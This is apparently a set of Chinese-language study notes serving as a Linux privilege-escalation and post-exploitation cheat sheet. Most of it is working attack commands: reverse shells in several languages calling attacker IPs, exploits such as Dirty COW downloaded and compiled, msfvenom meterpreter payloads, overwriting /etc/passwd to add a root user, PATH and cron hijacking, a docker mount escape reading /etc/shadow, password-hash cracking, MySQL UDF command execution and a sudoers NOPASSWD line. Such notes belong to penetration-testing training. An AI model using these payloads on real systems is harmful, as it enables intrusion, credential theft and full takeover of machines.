常用命令
uname -a #查看内核/操作系统/cpu信息 hend -n 1 /etc/issue #查看操作系统版本 cat /proc/version #查看系统信息 hostname #查看计算机名 env #查看环境变量 ifconfig #查看网卡 netstat -lntp # 查看所有监听端口 netstat -antp # 查看所有已经建立的连接 netstat -s # 查看网络统计信息 iptables -L #查看防火墙设置 route -n # 查看路由表 ps -ef # 查看所有进程 top # 实时显示进程状态 w # 查看活动用户 id # 查看指定用户信息 last # 查看用户登录日志 cut -d: -f1 /etc/passwd # 查看系统所有用户 cut -d: -f1 /etc/group # 查看系统所有组 crontab -l # 查看当前用户的计划任务 chkconfig –list # 列出所有系统服务 chkconfig –list | grep on # 列出所有启动的系统服务 echo $PATH #查看系统路径 which nc #查找nc的路径
反弹shell
bash反弹
http://t.csdn.cn/IAItm
nc反弹
nc -e /bin/sh 192.168.10.128 6666 #但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666 >/tmp/f
python反弹
import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.10.128" , 6666 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ])
php反弹shell
php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby反弹shell
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
java反弹shell
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
xterm反弹shell
xterm -display 10.0.0.1:1
获取完整交互式SHELL
su root
su:必须从终端中执行
python伪终端
终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
python -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")'
Linux反弹shell解决乱码
bash #从zsh切换到bash nc -lvp 6666 python3 -c 'import pty;pty.spawn("/bin/bash")' ctrl+z #将伪终端放置后台任务 stty -echo raw #设置原始格式 fg %1 #再调用后台任务(输入时无显示) reset #初始化
Linux内核漏洞提权
利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的exp,使用exp对其进行提权。
uname -a #查看内核/操作系统/cpu信息 uname -v cat /proc/version #内核信息 cat /etc/issue #发行信息 cat /etc/redhat-release #发行信息 lsb_release -a #显示发行版本信息
Linux version 3.19.0-15-generic
Ubuntu 15.04 Release
根据linux的内核版本查找对应的exp
searchsploit -t Ubuntu 15.04 #只利用标题搜索 searchsploit -s Ubuntu 15.04 #执行严格搜索,禁止对版本范围进行模糊搜索 searchsploit -s Linux Kernel 3.19.0 searchsploit -x linux/local/37088.c #检查或打开漏洞 searchsploit -m linux/local/37088.c #将一个漏洞复制到当前的工作目录 wget http://192.168.10.128/37088.c -O /tmp/37088.c gcc 37088.c -o exp chmod +x exp ./exp
脏牛提权 CVE-2016-5195
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。
漏洞范围
以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1 Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
https://github.com/FireFart/dirtycow/blob/master/dirty.c wget http://192.168.10.128/dirty.c -O /tmp/dirty.c gcc -pthread dirty.c -o dirty -lcrypt chmod +x dirty ./dirty 123456 mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash python3 -c 'import pty;pty.spawn("/bin/bash")' su firefart cat /etc/shadow
metasploit linux提权
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php')); msfconsole use exploit/multi/handler set payload php/meterpreter_reverse_tcp set lhost 192.168.10.128 set lport 12345 exploit //访问shell.php文件时就会获取一个session shell
提权命令
使用模块查询漏洞
run post/multi/recon/local_exploit_suggester
getuid 查看当前用户 shell 使用终端 https://www.exploit-db.com/exploits/37292 gcc 37292.c -o exp chmod +x exp ./exp
SUID提权
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。
chmod 4750 a.txt 4 说明 SUID 位被设置
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。
ls -al /etc/shadow -rw-r----- ls -al /bin/passwd -rwsr-xr-x
查找SUID文件
以下命令可以发现系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \; /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误)
常见suid提权文件
nmap
vim
find
more
less
bash
cp
Nano
mv
awk
man
wgets
sudo install -m =xs $(which less) . ./less file_to_read
passwd提权
ls -al /etc/passwd -rw-rw-rw-- 1 cc cc 2242 7月 13 11:23 /etc/passwd #这里要求至少有w权限 root:x:0:0:root:/root:/bin/bash openssl passwd -1 -salt coleak a123 $1$coleak$ryLF7yBUFqHmhDrl7czEK1 coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash wget http://192.168.10.128/a -O /etc/passwd ssh coleak@192.168.10.157 #su coleak
ssh密钥提权
查看拥有bash的用户
cat /etc/passwd | grep bash find / -name authorized_keys -type f 2>/dev/null cd /home/webper/.ssh
.ssh下文件含义
id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。
id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。 将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。
authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。
如果目标有使用id_rsa私钥
进行登陆,并且我们有权限读取
可以将id_rsa下载或复制下来使用私钥进行登陆
md5sum id_rsa.pub md5sum authorized_keys chmod 600 id_rsa ssh -i id_rsa web1@192.168.10.153
环境变量劫持提权
PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
环境劫持需要的两个条件 存在带有suid的文件suid文件存在系统命令
且这个文件中必须有系统命令,这样我们就可以命名一个和这个系统命令相同的文件写入/bin/bash;
再将存放这个文件的路径加入环境变量中,当系统去执行这个带有系统命令的文件时;就会直接执行我们命名和这个系统命令相同的文件;而非真实的系统命令;从而实现劫持环境变量提权。
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
/script/shell
PID TTY TIME CMD 2666 pts/1 00:00:00 shell 2667 pts/1 00:00:00 sh 2668 pts/1 00:00:00 ps
xxd /script/shell |grep ps
知道调用了什么命令,我们就可以创建一个
ps
文件,内容为执行/bin/bash
并将自建
ps
文件所在目录加入到环境变量中,当再执行/script/shell
时,系统会在环境变量中依次查找并首先查找并执行到我们自建的
ps
文件,从而返回一个带有root的shell,而非原本的查看进程
cd /tmp echo "/bin/bash" > ps chmod 777 ps export PATH=/tmp:$PATH echo $PATH /script/shell
john破解root密文
cat /etc/shadow
root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYct1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::
gzip -d /usr/share/wordlists/rockyou.txt.gz john --wordlist="/usr/share/wordlists/rockyou.txt" userpasswd
计划任务提权(cron Jobs)
定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。
提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划
信息收集
列出计划任务:
#/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务 /var/spool/cron/crontabs/root 这个目录是root任务文件,没有root权限无法查看 ls -alh /var/spool/cron ls -al /etc/cron* #查看当前登陆用户的计划任务 crontab -l cat /etc/crontab cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/anacrontab cat /var/spool/cron/crontabs/root
tail -f /var/log/syslog
(root) CMD (bash -c “/script/cleanup.py”)
查看日志文件 发现root每一分钟会执行一次 cleanup.py文件
修改内容 反弹shell
#!/usr/bin/env python3 import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.10.128" , 6666 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ])
pspy工具
wget 192.168.10.128/pspy64s chmod 777 pspy64s ./pspy64s
可以看到这里,每分钟都会执行一次cleanup.py这个文件
发现计划任务,我们可以去检测该文件是否存在一些可能导致权限提升的问题。
提权脚本
LinEnum
https://github.com/rebootuser/LinEnum wget -O - http://192.168.10.128/LinEnum.sh | bash wget http://192.168.10.128/LinEnum.sh chmod 777 LinEnum.sh ./LinEnum.sh > info.txt cat info.txt|grep docker
linux-exploit-suggester2
wget http://192.168.10.128/linux-exploit-suggester-2.pl perl linux-exploit-suggester-2.pl perl linux-exploit-suggester-2.pl -k 3.0
linuxprivchecker
wget http://192.168.10.128/linuxprivchecker python3 linuxprivchecker.py
docker逃逸提权
免sudo使用docker
默认情况下使用docker必须要有sudo权限,对于一台机器多用户使用,只需要管理员将需要使用docker的用户添加到docker用户组
(安装docker后默认会创建该组)中,用户重新登录机器即可免sudo
使用docker了。
创建docker容器后,容器默认账户是root账户,可以更改容器内的所有配置
这里模拟真实情况借助弱口令使用coleak用户 登陆上了一台目标主机,此用户只拥有普通用户权限,但是管理员为了员工方便使用docker,将 coleak用户加入到了 docker用户组
。
docker run -it --rm -v /:/mnt alpine cat /mnt/etc/shadow echo "coleak:\$1\$coleak\$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash" >> /mnt/etc/passwdsu coleak su coleak a123 #拿到root权限
sudo提权
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。
sudoer文件
root ALL=(ALL) ALL
root用户可以从
ALL
终端作为ALL(任意)
用户执行,并运行ALL(任意)
命令。第一部分是用户,第二部分是用户可以在其中使用
sudo
命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的命令。sudo
only ALL=(root) /bin/cat
以上命令,使用户可以从任何终端使用only的用户密码使用cat。
only ALL=(root) NOPASSWD: /bin/cat
使用户可以从任何终端运行,以root用户身份运行命令cat而无需密码。
sudo -l (root) NOPASSWD: /bin/cat
查看是否拥有允许使用的命令
cat /etc/shadow cat: /etc/shadow: 权限不够 moonsec@web1-virtual-machine:/$ sudo cat /etc/shadow
可以看到显示用户已允许以root身份执行 cat
而无需密码。
cat命令无法让我们获取到shell,但是我们可以利用cat查看 /etc/shadow文件提取root的哈希进行破解
切换用户技巧
无需密码切换用户
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc,char *argv[]) { setreuid(1001,1001); execve("/bin/sh",NULL,NULL); }
gcc a.c -o a chmod 777 a
linux mysql udf提权
show variables like '%plugin%'; cd /usr/share/sqlmap/extra/cloak/ sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_lib_mysqludf_sys.so 进行解码 wget http://192.168.0.109/lib_mysqludf_sys.so create function sys_eval returns string soname "udf.so"; select sys_eval('id');
补充知识
debian的用户和组
cat /etc/group cat /etc/passwd sudo adduser cc sudo usermod -G docker coleak
The authenticity of host ‘192.168.10.153 (192.168.10.153)’ can’t be established.
修改/etc/ssh/ssh_config文件(或$HOME/.ssh/config)中的配置,添加如下两行配置: StrictHostKeyChecking no UserKnownHostsFile /dev/null
Alpine
Alpine操作系统是一个面向安全的轻型 Linux 发行版,相比于其他 Docker 镜像,它的容量非常小,仅仅只有 5 MB 左右
-rm
–rm 选项,这样在容器退出时就能够自动清理容器内部的文件系统
docker run --rm ba-208 等价于: docker run --rm=true ba-208 显然,--rm 选项不能与 -d 同时使用(或者说同时使用没有意义),即只能自动清理 foreground 容器,不能自动清理detached容器。 注意,--rm 选项也会清理容器的匿名data volumes。 所以,执行 docker run 命令带 --rm命令选项,等价于在容器退出后,执行 docker rm -v。
sudoers
sudo chmod +w /etc/sudoers kali ALL=(root) NOPASSWD: ALL ```、